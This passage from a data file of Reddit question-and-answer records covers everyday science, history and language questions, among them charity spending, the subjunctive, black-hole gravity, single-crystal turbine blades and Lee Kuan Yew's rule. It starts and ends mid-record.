"selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "1c9sm3", "title": "the susan g komen stuff going on at the minute", "selftext": "I see that they only spend 15% of their revenue on cancer research. How come there's a lot of talk about this at the minute, and how have they been allowed to spend so much donated money on just suing other people?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1c9sm3/eli5_the_susan_g_komen_stuff_going_on_at_the/", "answers": {"a_id": ["c9egk9n", "c9elz6p", "c9emkqo", "c9eoc2z"], "score": [317, 17, 4, 4], "text": ["[Source for that 15% number](_URL_0_). Note that in 2011, 43% of donations were spent on education, 18% on fund-raising and administration, 15% on research awards and grants, 12% on screening, and 5% on treatment. 43 + 18 + 15 + 12 + 5 = 93%, and, according to the article, the remaining 7% is accounted for by \"various other items\".\n\nWhy is this a big deal? I suspect it's a combination of four things:\n\n1) Ignorance. Reddit can be a great place, but it's also a place where people read the headline, form a snap opinion, and move on. This is sad, but I doubt anyone familiar with Reddit would argue it's untrue. I'm even guilty of this sometimes myself. If you were to ask people on Reddit how much of Susan G Komen donations go toward screening and treatment, I doubt they'd be able to rattle off \"17%\". They'd have to go look it up. 32% on research, screening, and treatment isn't great, but it's better than just 15%. \n\n2) \"Education\". There's a very legitimate question as to why so much money for cancer goes into \"awareness\". Ostensibly, education is about raising public awareness of something which is not supposed to be generally known. The thing is, I'm pretty sure everyone knows breast cancer exists, it's a problem, and something should be done about it. Wearing a pink ribbon doesn't do anything to aid in finding a cure, screen, or treat cancer... what it does is it feeds what has become the cancer awareness industry, which runs on donations. In a way, this is good, because more total donations means more money can go to research, screening, and treatment, but it also means it feeds the awareness machine, which feeds itself. \n\n3) \"Administration\". The article above lumps together fund-raising and administration, but elsewhere it's suggested that administrative costs account for 11.3% of all donated money. Salaries for the senior leadership are pretty significant, with the CEO making $531,000 a year, the COO making $332,000 a year, and the VP making $418,000 a year. There's a general understanding (that I don't buy) that you attract the best talent with higher salaries, and that you'd want talented people running the foundation, but the more money the administration makes, the less goes to research, screening, and treatment. \n\n4) The lawsuits. The douchiest thing, perhaps, is [suing other charities and events for using the word 'cure'](_URL_1_). Money from donors is used to pay for attorneys to troll other charities to sue them if they use \"for the cure\" or any derivation. This is eighteen different kinds of shitty, and there's really no excuse for this I can think of. \n\nI think this is the best I can do within a five-year-old's wheelhouse. ", "[Relevant TED Talk about the subject](_URL_0_)", "To avoid all of this donate money to your local county health center/food bank/ school charity. \n\nI know my county  clinic does traveling mammograms and lectures at the college. You can see where your money is going (as well as directly benefit from your donation if need be). ", "Something interesting to consider when talking about charities and the % of revenues spent on their actual charity. One of my favorite ted talks: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reuters.com/article/2012/02/08/us-usa-healthcare-komen-research-idUSTRE8171KW20120208", "http://www.huffingtonpost.com/2010/12/07/komen-foundation-charities-cure_n_793176.html"], ["http://www.ted.com/talks/dan_pallotta_the_way_we_think_about_charity_is_dead_wrong.html"], [], ["http://www.ted.com/talks/dan_pallotta_the_way_we_think_about_charity_is_dead_wrong.html"]]}
{"q_id": "32ytxq", "title": "the difference between \"was\" and \"were\".", "selftext": "Hello :)\n\nI am not a native english speaker so I when I first encountered this language I studied mainly rules. So the rule I know is something like this:\n\nI was; you were; he/she/it was; we were; you were; they were;\n\nSo why is it every time I hear someone speaking english, be it in movies or any other source, I hear something like \"if only it WERE true\"? I've seen this in songs also and I really need to know is it just a bad habbit or is there something I'm missing? And I don't mean only that exact phrase.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32ytxq/eli5_the_difference_between_was_and_were/", "answers": {"a_id": ["cqfwkr0", "cqfwrhe"], "score": [27, 25], "text": ["It's the subjunctive mood, which is used when something isn't true, like a hypothetical situation.  If it were true, you would say it was true.", "The [subjunctive mood](_URL_0_) is used to indicate states of unreality--wishes, hypothetical situations, impossibilities, etc.\n\nTake the phrase \"If I were you, I'd take the money\" as an example. What you're really saying is \"I realize it's impossible for me to be you, but, if I could be you, I would take the money\". You're talking about something that is hypothetical and/or impossible (it's not possible for me to be you). In those instances we use \"were\" instead of \"was\" (although \"was\" is becoming more acceptable in daily speech, particularly if \"were\" \"sounds\" wrong.).\n\nBasically, if you're talking about something that is impossible or implausible, use \"were\". \"If I were president in the 80s\", \"If only she were here yesterday\", \"if I were traveling at light speed\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Subjunctive_mood"]]}
{"q_id": "1awh60", "title": "Since the universe is ever expanding, and stars that are in the night sky don't physically exist anymore, will there be a point that there will be no stars in the night sky?", "selftext": "It's a sad thought.\nEdit: I posted this then went to bed so I'm sorry I didn't respond to any of you right away. I appreciate you taking the time to answer my question and they were impressive answers :)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1awh60/since_the_universe_is_ever_expanding_and_stars/", "answers": {"a_id": ["c91dio2", "c91dk9n", "c91fovi", "c91gom4"], "score": [3, 10, 3, 2], "text": ["A good chunk of the stars we see still exist just look at Alpha Centauri and its companions for example. Plus stars are made from other stars and the star making process would go on forever or at least all the Hydrogen has been fused into heavier elements.", "What do you mean don't physically exist anymore? Sure, some have run out of energy, but there are many stars left... Though I'll try to answer the question I think you mean.\n\nThere are a very very large amount of stars, and most of these stars are still burning. Though, every single star doesn't have an infinite amount of energy to burn. So, yes, every star in the universe will die at some point. \n\nIn fact, a leading theory for the ultimate fate of the universe is that it will have expanded so much that there won't be a sufficient amount of temperature (which is just kinetic energy) for anything to move (which is explained by the second law of thermodynamics -- entropy in an isolated system never decreases), causing the heat death of the universe, life, and everything we know to be. Other theories include the Big Crunch and the Big Bounce, where the universe contracts into a single point, and creates a new Big Bang, creating a new universe.\n\nBasically, there will be a point in time where there will be no stars in the sky, but humans will be long dead by that point, since our primary energy source is and probably always will be stars.\n\ntl;dr: I wouldn't worry about it much, even if you're worrying about future generations. By the time it happens, we'll be gone anyway.\n\nEDIT: Added explanation of second law of thermodynamics", "*Almost all* of the stars that are in the night sky *do* still physically exist.  Most of them are within 4,000 lightyears away or less (the furthest one visible with the naked eye is about 16,000 lightyears away), and all of them are part of our very own Milky Way.\n\nBecause the age of a star is on the order of millions or even billions of years, it's unlikely that you can find any star in the night sky that actually doesn't exist anymore.  The only ones that *might* not, would be ones that are visibily on the edge of going supernova right now.\n\nThe universe's expansion does not spread apart the stars in our *own* galaxy -- those stars are gravitationally bound together into a single system -- rather, it spreads the galaxies themselves apart from eachother.  Only things which are gravitationally bound to us are close enough to be visible with the naked eye.  This includes all of the stars in the night sky, as well as Andromeda (which is another galaxy, but is part of our local group of galaxies, which are all gravitationally bound and will likely all merge into a single galaxy in the distant future).  Some people claim they can also see the Triangulum galaxy (another galaxy in our local group) with the naked eye, but I have 20/10 vision and I tried and couldn't see it, haha.  In any case, the universe's expansion has driven all non-gravitationally-bound galaxies so far away that they can only been seen with high-powered telescopes, with the furthest ones requiring weeks of exposure just to capture their dimmest light.\n\nEventually, once *all* of those stars within about 16,000 lightyears of us burn out due to exhausting their hydrogen fuel, there *will* be a point with no stars in the night sky.", "[This](_URL_0_) is the answer you are looking for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://youtu.be/EjaGktVQdNg?t=49m18s"]]}
{"q_id": "o9n34", "title": "How true is it that biology reduces to chemistry...", "selftext": "Which reduces to physics, which reduces to mathematics? And math's axioms can't be proven. If this is true, does the scientific method change from top to bottom?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o9n34/how_true_is_it_that_biology_reduces_to_chemistry/", "answers": {"a_id": ["c3fhjaf", "c3fhksv", "c3fhs9f", "c3fi0lt"], "score": [12, 6, 2, 2], "text": ["Physics doesn't reduce to math, physics is described by math, as are chemistry and biology. Mathematics doesn't rely on the existence and characteristics of the universe, whereas sciences do.", "I wouldn't say that physics reduces to mathematics. While physics is more or less just applied math, math by itself doesn't have inherent 'meaning'. I don't say that to demean math but the mathematical concepts are only applied to model the physics, not as the underlying reason for physics. Math is also used in the other sciences as well.\n\nSo while math is used in physics, you can't reduce physics down to math. The hierarchy you describe is more of which science can theoretically explain the others. Biology is the macro form of the individual chemical processes. Those chemical processes are a macro form of the individual laws of physics.\n\nIn the end, if we had a complete and perfect understanding of physics, we technically could describe every interaction of matter and as such, every chemical and biological process. A complete and perfect understanding of math would be great but it wouldn't be applied to anything and as such, wouldn't describe anything. A perfect understanding of physics WOULD imply a perfect understanding of all associated math, however.\n\nWe don't know or can't model accurately enough every process so we study more general fields like biology and chemistry and sociology when theoretically, they could all be explained with a complete understanding of physics and the capability to model such complex scenarios.\n\nThat's my understanding but I could very well be thinking about it too much...\n\n*edited for clarity*", "Math is just a language that can be used to describe anything. Usually you use it to describe numbers, but that's just one of its uses.\n\nSo anything can be described with Math (because that's what math is for), but that doesn't mean everything reduces to it.", "These ideas may be technically true (though it seems the physicists disagree with the last part, I'll defer to them on that one). However, at our current level of understanding, you cannot arrive at the properties of life based solely on an understanding of chemistry, and I presume that you can't arrive at an understanding of chemistry solely on an understanding of physics.\n\nChemistry, biology and physics have all enriched each other, and deepened our understanding of each other, but it's currently impossible to be completely reductive. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "39nfck", "title": "What would a conversation between two \"average\" people have sounded like in Shakespeare's time?", "selftext": "Shakespeare wrote in Early Modern English, but his form of it is eloquent and highly poeticized. I wonder what a conversation between two people, perhaps educated, perhaps not, would have sounded like during that era. Obviously there was a great variance in dialects, but I believe the form spoken in London was the standardized form. \n\nCould anyone shine some light on this? A small sample conversation would be very interesting. I just feel that Shakespeare's dialogue could not represent the way the average person spoke back then. \n\nIf anyone could answer the same question for Middle English, which should be somewhat intelligible to modern English speakers as well, that would be great. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39nfck/what_would_a_conversation_between_two_average/", "answers": {"a_id": ["cs4vkwo"], "score": [2], "text": [" > Obviously there was a great variance in dialects, but I believe the form spoken in London was the standardized form.\n\nDon't look into the idea of standards too much. They're always fluctuating and even just within London there's historically been a lot of dialectal diversity.\n\nTo get an idea of what the language sounded like, first give the often-passed-around video of [Shakespeare in the original pronunciation](_URL_2_) a listen. Like you said, this is not the same sort of sentence structure you would expect to hear on the street since the plays are more poetic. But this should give you a very good idea of how the pronunciation was different.\n\nIf you're really interested and willing to commit a little more time to the topic, there's a much longer video [here](_URL_0_) that's a recording of a presentation. Jump to around 55:45. It's still poetic but you can still get a good idea of the sound of the language.\n\nWhat we have though, in these videos, is of course not complete. Jump to 1:04:00 to hear Ben Crystal explain what's missing and what's not at least in terms of the pronunciation.\n\nThere are of course other good examples. [Here's Chaucer being read out loud](_URL_1_). Then [here's a reading on how to play chess](_URL_3_). [There's a whole channel of these](_URL_4_) as well. \n\nYou'll notice they don't have the same pronunciation or rhythm and the woman reading that last one has (to me) Italian-sounding stress and intonation. Since we don't have audio recordings from that time, we can't really know what this feature of the language would have sounded like. This is some of what Ben Crystal gets into the video linked further up. This is reconstructed pronunciation, which amounts to (well researched and highly educated) guesswork. So you will find variation from person to person and we can't really know who among them are closest to correct. It does still give us an idea though, which is at least something.\n\nHope that helps. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=9FF5K8VlcRI", "https://www.youtube.com/watch?v=QE0MtENfOMU", "https://www.youtube.com/watch?v=gPlpphT7n9s", "https://www.youtube.com/watch?v=GSG2f8V51Jo", "https://www.youtube.com/playlist?list=PLDC1AC8FB6C522E6B"]]}
{"q_id": "2m5k5e", "title": "What caused stockings to be so associated with prostitutes and sex?", "selftext": "I am writing a research paper to which this is relevant.  I have seen many references that refer to the sexualization of stockings, but none really analyze why or how this came to be, even though many of the sources I have seen go back pretty early.  Hell, I think even The Wife of Bath from Chaucer's The Canterbury Tales sexualize her with the red stockings she wears.\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2m5k5e/what_caused_stockings_to_be_so_associated_with/", "answers": {"a_id": ["cm1c5h2"], "score": [7], "text": ["God help your research paper. In Chaucer's time all women wore stockings (as did the men). Tights are a pretty recent invention, and trousers were not an option. The point about the Wife of Bath is that her stockings were red, not that she wore them at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6u9e8k", "title": "why do salt tablets help to maintain moisture in our body, but seawater dries us out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6u9e8k/eli5_why_do_salt_tablets_help_to_maintain/", "answers": {"a_id": ["dlqwne8"], "score": [5], "text": ["Your body wants all the fluid in your cells (plus some extracellular fluid) to be the same concentration, this if called Isotonic. If you have too much salt, the concentration goes up, and your body retains more water, which helps bring the concentration down again.\n\nWith strong salt water, the concentration is higher than your bidy wants, and so it has to dilute it. It either does this by making you drink more water, or restricting water output, again resulting in water retention.\n\nThe result is always the same - too much salt and your body will retain water, which makes you heavier, and it also damages your kidneys, and raises blood pressure (you are now squeezing more liquid into your blood vessels, so the pressure goes up)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4t83iw", "title": "what's the difference between screws and nails in terms of strength and in which situations does one work better than the other?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4t83iw/eli5_whats_the_difference_between_screws_and/", "answers": {"a_id": ["d5faxp5", "d5fb246", "d5fc3k4", "d5fcr0k", "d5fdk1q", "d5fj16o", "d5fo7y1", "d5fpbyk"], "score": [12, 429, 66, 3, 2, 58, 3, 2], "text": ["Screws hold better, because there's a lot more surface area contact (and resultant friction) between the thread and whatever they're screwed into.  The disadvantage is that unless the material is soft (e.g. plywood), holes need to be pre-drilled.\n\nNails are easier to install, and are less brittle, and are much easier to remove - all you need is a pry bar or the back end of a hammer.", "Nails are cheaper and faster to install so usually when a nail will do the job a nail is used. Screws hold better but take a little longer to install, so typically when someone needs the extra \"grip\" a screw will be used.\n\nHowever, when creating replaceable parts, screws have the advantage that they can be removed and reinstalled multiple times without compromising (to a significant degree) the effectiveness. So many things that a nail would be able to secure just fine, a screw is used because a part of it may need to be replaced in the future, requiring the screws to be removed and then screwed back in, whereas if a nail was removed and then nailed back in it loses a lot of its hold each time that happens, assuming you can even get the nail out without bending it or breaking something.\n\nThis is of course assuming you understand the difference between a screw and a nail.", "Screws are weaker to shearing pressure (pressure perpendicular to the screw). This is why you'll see nails in joists for floors and decks, nails, of course, are weaker to forces parallel to the nail.", "How is the force being applied to the joint, and is that force going to be cycling or static?\n\nIf you are not talking about cycling forces (wiggling), and the force is going to be carried by the side of the nail (or screw).  It doesn't matter whether you use a nail or screw.\n\nIf there is going to be a wiggle and the forces might be a little unaligned (so they want to work the fastener out) screw is a billion times better.", "I've got a deck (apartment) where nails were used when it was built. The deck is well over five years old. Many of the nails have come up, protruding up out of the flooring or wherever. This is very bad if you're out there barefoot. So I had to occasionally go out with a hammer and knock'em back down. I replaced three boards last week and used screws instead of nails, these will not pop back up. What they should've used, when they built the deck, if they didn't want to use screws, was \"Ring Shank\" nails. Google it. These are much better than traditional nails for holding and staying. ", "Nails retain a constant shear pressure if the joint is together or slightly loose. Nails work well when combined with wood glue. Nails don't work under tension.\n\nScrews are designed to pull two components together, forming a friction joint which holds its shear load, however if the joint becomes loose, the shear load may overwhelm the joint and it may fail. Screws may be used for a joint under tension.\n\ntl;dr Screws use the friction between two pieces as its strength by using tension. Nails hold two pieces together as a strong pin", "Imagine you are going down a slide and you want to stop. A screw is like if you managed to cut a set of hand holds into the slide and held onto those. A nail is like if you were naked and used the friction of your skin to stop sliding.\n\nObviously, going down naked is a lot easier than cutting hand holds. Similarly, nails are cheaper and easier than screws for an inferior squeezing strength, but hey, if it does the job, no need to go all fancy.\n", "If you have to worry that whatever you are attaching with said screw/nail will pull out/off if you only use a nail, you have to use a screw. If you aren't, or a little wiggle room is acceptable/desired, you can use a nail--but could also probably use a screw. But nails are cheaper.\n\nAt least that's how I generally decide.  Then again, I'm just a guy that doesn't like to pay other people to fix my stuff, who also likes to try and do a good job.  Really solid credentials, I know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3vevyf", "title": "We're all familiar with \"courtroom dramas\" in the US. But what would a courtroom drama look like if it took place in ancient Rome? Say, during the Pax Romana?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vevyf/were_all_familiar_with_courtroom_dramas_in_the_us/", "answers": {"a_id": ["cxmyqaw"], "score": [302], "text": ["The introduction by Michael Grant to the Penguin edition of *Cicero - Murder Trials* (Penguin, 1990) gives a concise description of how a murder trial went on during the late Republic (so not quite Pax Romana, depending on the definition, but still ancient Rome). Cicero among other things, also functioned as an court advocate, mainly for the defence, and some of his extant writings are his court speeches in some famous murder trials. These are some of the main sources for court procedure at that time.\n\nFrom the time of Sulla, court judges to the 7 or more standing courts in Rome at the time, was drawn up from the around 450 qualifed senators in the Roman Senate (of 600). \"75 [judges] in each of the more important courts and 51 in the rest\". The judges were selected through \"a complicated process of rejection and counter-rejection in which both the prosecution and defence took part; though, even so, corruption was by no means eliminated\" (p. 14-17):\n\n > Rome possessed nothing resembling a public prosecutor or attorney general; and it was not the duty of any state official to initiate prosecutions. Every citizen was at liberty to make a charge against another, and then the court's chairman, if he thought there was a prima facie argument - or was advised in this sense by a committee of his judges - could put the case down for trial [...] It was the responsibility of the two parties concerned to produce the evidence, though the accuser might have the assistance of state officials in preparing it. On the other hand the accused was given impressive opportunities for his defence. He might, on occasion, have as many as six counsel, and they were normally allotted half as much speaking time again as the prosecution [...] A trial included not only the set speeches of the advocates, but sharp cross-examination as well. The latter have not survived, but their substance is often incorporated, in continous form, in the published (and amended) versions of Cicero's speeches that have come down to us. The judges listened in silence, and were forbidden to speak to each other. Finally, they voted - guilty, or not guilty, or (as in Scotland) not proven. The chairman did not vote, but pronounced judgement and sentence, to which the traditional Roman right of appeal did not apply. The carrying out of the punishment was likewise his responsibility.\n\nAs mentioned, the extant speeches by Cicero are only part of the trial proceedings, but I can really recommend them, as they are not only interesting history, but make for some surprisingly suspenseful crime literature as well, and they provide the reader with some insight into the brutal and corrupt side that often was the outcome of Roman patron-client system and the accompanying party politics. Unfortunately we lack the trial verdicts for several of the cases.\n\nEdit: Some typos."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1aku4d", "title": "How can information about the mass of a black hole pass through the event horizon?", "selftext": "Somehow, particles beyond the event horizon need to receive information about local gravitational forces that are the result of mass inside of the event horizon. How can this information pass beyond that point?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1aku4d/how_can_information_about_the_mass_of_a_black/", "answers": {"a_id": ["c8ycyf8", "c8ydbj0", "c8yfadt"], "score": [2, 8, 5], "text": ["Due to relativistic effects (time dilation induced by gravitation), from the perspective of an outside observer nothing crosses the event horizon while falling in (matter gets \"smeared\" all over it and there is an ungodly amount of red shifting involved).\nThe fact that you can still \"see\" those particle should be enough of an clue as to why you also feel their gravitation.\n\nEDIT: words", "There's this misconception out there that in order for an object to exert a force - gravitational, electromagnetic, etc. - it needs to communicate it. To be fair, physicists are largely responsible for this, as we'll often say things like \"the electromagnetic interaction is mediated by virtual photons,\" which is true, but misleading. It certainly doesn't mean two charged particles interact by shooting light at each other!\n\nInstead, think of the fundamental object as the *field*. It's something that exists throughout all of space and time, and tells particles what to do. So the gravitational field tells particles how to move due to gravity, the electromagnetic field tells them how to respond to electric and magnetic forces, and so on. And once a field is there, it's there. It doesn't need to be actively sustained by receiving information from every bit of, say, mass saying \"hey, I'm still here!\"\n\nThere is a second effect going on here, which is that someone outside a black hole never actually *sees* anything cross the event horizon, because at the event horizon there's infinite *time dilation*. It's not a real effect, more like an illusion - an object falling into a black hole will pass through the horizon without noticing anything's amiss - but to the outside, it really looks as if any matter falling into a black hole is actually accruing in a shell around the horizon.", "adamsolomon gave a good explanation, but an example (or maybe an \"illustration\") might also help. Instead of imagining information leaving the black hole (which is incorrect, as he explained), imagine the black hole's mass curving space time. That curvature of spacetime isn't defined by information leaving the black hole, it *is* the black hole, or the result of its mass. A black hole, or its singularity, is a region of space time that contains so much mass that it eventually curves in on itself, allowing nothing to leave after a certain point (the event horizon). But that curvature doesn't stop at the event horizon, it exists much farther out, just like any other object of that scale. Our Sun has a low mass compared to a black hole, but it curves space noticeably for billions of kilometers beyond the Sun (by noticeably I mean that it is enough to keep objects in orbit), and so far out that the extent of our solar system is difficult to define.\n\nOther massive objects will tend to follow that curvature, as it defines their inertial motion while they are located within it. This is what we observe as gravity.\n\nSo the pull of a black hole isn't something that ever \"leaves\" it, it is part of its existence, if that makes sense. It was there from the beginning, it was there when the black hole was a star and when that star was a cloud of hydrogen and so on, perhaps just not so concentrated. As all of that mass came together, the local curvature was increased, which attracted more mass in a positive feedback process. Eventually the pressure was so great that it ignited a fusion reaction. That fusion provided pressure to prevent the mass from collapsing further, but once the fuel was exhausted the fusion process stops and if the star was massive enough (which it was, since we \"started\" with a black hole) to overcome other pressures, like those resulting from the Pauli Exclusion principle then it will collapse further into a black hole. Throughout that entire process, the mass involved curved the spacetime around it.\n\nThat mass is not information from within the black hole's event horizon, it is a property of the black hole itself, one of the few properties they have. The others being their electrical charge and angular momentum. In that way, they become much like an elementary particle. Any two black holes with the same values for these properties are indistinguishable. The point being, we are not processing information from within the black hole, we are measuring a property of the black hole itself that describes its interaction with the universe, just like any other object."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3os8cm", "title": "How are titanium and other metals grown in a single crystalline structure?", "selftext": "**How are titanium and other metals grown in a single crystalline structure?**\n\n I was watching a documentary on turbine engines and they said the blades were manufactured this way for the best possible strength. How does that process work? What kind of equipment is involved? Where can I read more about it?\n\nI'm in school for CNC machining and enjoy learning about materials in my free time. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3os8cm/how_are_titanium_and_other_metals_grown_in_a/", "answers": {"a_id": ["cw03v3a", "cw05hho"], "score": [9, 3], "text": ["[Here's an article by Pratt  &  Whitney from 1980 about how they were growing single-crystal turbine blades at that time. Page 210 is where the relevant text starts, and I've extracted some here - but the diagrams may be worth seeing.](_URL_0_)\n\n >  The columnar-grain and single crystal casting processes are\nshown szhematically in Fig. 8. In each case, molten superalloy is\npoured into a ceramic mold seated on a water cooled copper chill.\nGrains a:re nucleated on the chill surface and grow in a columnar\nmanner parallel to the unidirectional temperature gradient. These\ncolumnar-grains fill the turbine blade cavity for the D.S. process in\nFig. 8a. For the single crystal ease in Fig. 8b, a number of grains\nenter the bottom of the helical grain selector, one grain emerges\nfrom the top of the selector, and this grain fills the entire mold\ncavity.\n > The temperature gradient in the nucleation chamber is\ncontrolled by the chill, the molten metal superheat and the mold\ntemperatures. The mold temperature is typically 1500- 16000C\n(2732-2912oF), some 25-1OOoC (45-180oF) higher than for the\ncolumnar-grained growth process. The higher temperatures prevent\nthe nucleation of spurious grains during the pour, ahead of the\nadvancing dendritic growth interfaces or on the mold surface. At\nthe water cooled copper chill many grains are nucleated with\nessentially random orientations. Grain texture and rocking curve\nanalyses indicate that the  < ill >  oriented grains are quickly\novergrown by those with  < llO >  and  < lOO >  orientations. The latter\ntwo orientations have more similar maximum growth rates and it\nrequires at least 2 em (0.75 inch) of growth before more than 90\npercent of all grains are within 150 of the < OOl > orientation.\nAs solidification proceeds, two to six grains enter the helix, or\ngrain selector, as shown in Fig. 9. Some grains are physically\nblocked from entering the helix and the one or few that survive have\ntheir horizontal X100  >  dendrites most favorably positioned to enter\nthe helix. After one or two turns of the helix only one crystal\nsurvives. The helix wire diameter typically varies from 0.3 to 0.5 em\n(0.1 to 0.2 inch) with the exact size chosen to give the required heat\nflow and mold integrity. A helix with a circular cross-section is used\ninstead of a series of ramps with a rectangular cross-section in\norder to minimize grain nucleation at sharp edges.\n\nBasically the process is this: they have a ceramic mold of molten metal kept hot in a radiative heater. The molten metal passes through a tortuous path (in this case a helix) before reaching a water-cooled chilling block.  This block cools the melt in a unidirectional temperature gradient, which causes columnar crystals to form.  These crystals, as they grow toward the melt, are blocked by the walls of the tortuous path.  \n\nUltimately, a few of the crystals grow into the path but only one crystal has the favorable growth pattern to make it all the way to the top of the helix.  This helix is attached to the bottom of the mold for the part, as I mentioned earlier - so a single crystal enters the mold.  The thermal gradients are carefully controlled to avoid grain boundary formation, and the radiative heater is gradually withdrawn from the top of the mold - eventually the entire volume of metal in the mold has solidified and you have your part, which can then be separated from the helix and machined to final form.", "This is a youtube video shows how single crystal metals are made:\n_URL_1_\n\nIn the metallurgy field, there is a term called \"grain\". \n\nA \"normal\" metal with no special treatment would consists of multiple grains which is observable with optical microscope at around 50-100x magnification. Imagine there is a turbine blade that consist of thousands or millions of microns size grains.\n\nNow imagine a turbine blade. A whole piece of turbine blade which only consists of 1 grain. That's why it's called \"single\" crytal.\n\nSingle crystal metal can be synthesize by controlling the solidification process. Solidification process from molten metal consists of 2 stages: nucleation and grain growth.\n\nNormally, the nucleation or freezing initiation will occurs on several spot around the molten metal. This will produce a multiple grain when the metal is completely frozen. To produce single crystal, you have to make sure that the nucleation or freezing initiation will only occurs on ONE spot. That's why in the youtube video above, there is always a pointy edge. That pointy edge was the nucleation site during the solidification process so that the nucleation only occurs on that spot.\n\nThe grain size and shape in metal will determine its mechanical properties, according to hall-petch equation : \n_URL_0_\n\nThe smaller the grain size, the higher the metal strength will be, so the multiple grain metal (which consists of thousands/millions of microns size grain) will have a higher strength than single crystal metal.\n\nHowever, the main failure cause in the turbine blade operation is not the low strength of metal, but \"creep\".\n\nA component which operates at the higher temperature (e.g turbine components) will be more susceptible from creep. \n\nSingle crystal metal is commonly used for the turbine blade because single crystal metal has higher creep resistance than multiple crystal.\n\nYou can read more about creep and the comparison of the multiple and single crystal structure here : _URL_2_\n\nTL;DR : \n\n- Single crystal is produced during the solidification of metal. It has nothing to do with the machining process.\n\n- Single crystal is needed for the turbine blade due to its high creep resistance not for its high strength.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.tms.org/superalloys/10.7449/1980/superalloys_1980_205_214.pdf"], ["http://www.doitpoms.ac.uk/tlplib/mechanical-testing/grainsize.php", "https://www.youtube.com/watch?v=2xjhK2aSV1E", "http://www.doitpoms.ac.uk/tlplib/creep/other_metals.php"]]}
{"q_id": "4ht4p3", "title": "What's the origin of saying \"there, there\" to people who seem upset? It seems a strange thing to say. Any history to it?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ht4p3/whats_the_origin_of_saying_there_there_to_people/", "answers": {"a_id": ["d2s49kd", "d2s6f9v"], "score": [6, 3], "text": ["And is there a connection to \"here here\"/\"hear hear\"?", "You might try r/linguistics' \n[Weekly Q & A thread](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/linguistics/comments/4hh1s1/this_weeks_qa_thread_please_read_before_asking_or/"]]}
{"q_id": "302m1k", "title": "Why is Lee Kuan Yew considered a benevolent dictator? Are there contradictory views on his dictatorship?", "selftext": "Didn't he have to deal with any Democratic movement, censor people and ideas,  use his power to get rid of any adversaries? \nEdit: I'm genuinely trying to have a balanced,  fact based,  historical view on his \"dictatorship\" . I've been to Singapore and think it really is an amazing feat how the country is well organized (compared to it's neighbors) and if it was really a benevolent dictatorship maybe the world has something to learn from him. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/302m1k/why_is_lee_kuan_yew_considered_a_benevolent/", "answers": {"a_id": ["cpopv2k", "cpor655", "cpp8ndl", "cpqdvff"], "score": [80, 25, 3, 6], "text": ["* The PAP (People Action Party)'s dominance of Singaporean politics stems from its successful elimination of Barisan Socialis opposition in the 1960s and thereafter. IMO insofar as LKY acted as a dictator in that decade it's hard to separate out from the sociopolitical context - the Communist underground was non-existent, but racial and cross-border tensions were potentially destabilizing, e.g. Malaysia imposed a period of martial law around 1970 following racial riots as well.\n\n* Political opposition does exist in Singapore - if you look at election results post-1980, there is an increasing percentage of pro-opposition voting and those parties *are* legitimate opponents - they're just fragmented and ineffectual. Certainly there was more diversity in the early years of Singaporean politics before LKY came to dominate, but the decline of those other parties is as much due to their weaknesses as to the PAP's strength. Although it's worth looking at LKY's re-positioning of the PAP away from its socialist roots.\n\n* 'Dictatorship' is a controversial term to describe his rule, IMO - authoritarian rule is a more common term. Chua Beng Huat wrote about communitarianism in Singapore; its widespread acceptance demonstrates the hegemony of PAP ideology that is reinforced and supported from the ground-up and not just imposed by fiat. \n\n\n(edit: Turnbull and Albert Lau are my main references for Singapore history, but historical scholarship on post-independence opposition politics is thinner, partly because of censorship/ classification of documents.)", "The best book about the political system that Lee Kuan Yew and the PAP established in Singapore is [Singapore: The Air-Conditioned Nation](_URL_0_), by the journalist and scholar Cherian George. This book describes a rather clever system of carrots and sticks that combine to keep political opposition within careful limits. The sticks, such as libel lawsuits for opposition politicians who step too far out of line, are frequently brought up by the Western press when discussing Singapore; the carrots, which include an efficient HR system for co-opting elites by bringing them into government, are much less well known outside Singapore. (Incidentally, George himself is a poster boy for both treatments, but that's for another time.)\n", "May I piggyback on this thread and ask for some recommendations on the literature surrounding LKY and his rule?", "Lee Kuan Yew is someone that I have been interested in for quite a while now, so hopefully I can give you a good answer.\n\nFirstly, Lee most definitely did preside over a one-party state.  Yes, the PAP was elected into government every time since 1965.  However, electoral boundaries were gerrymandered in order to provide the 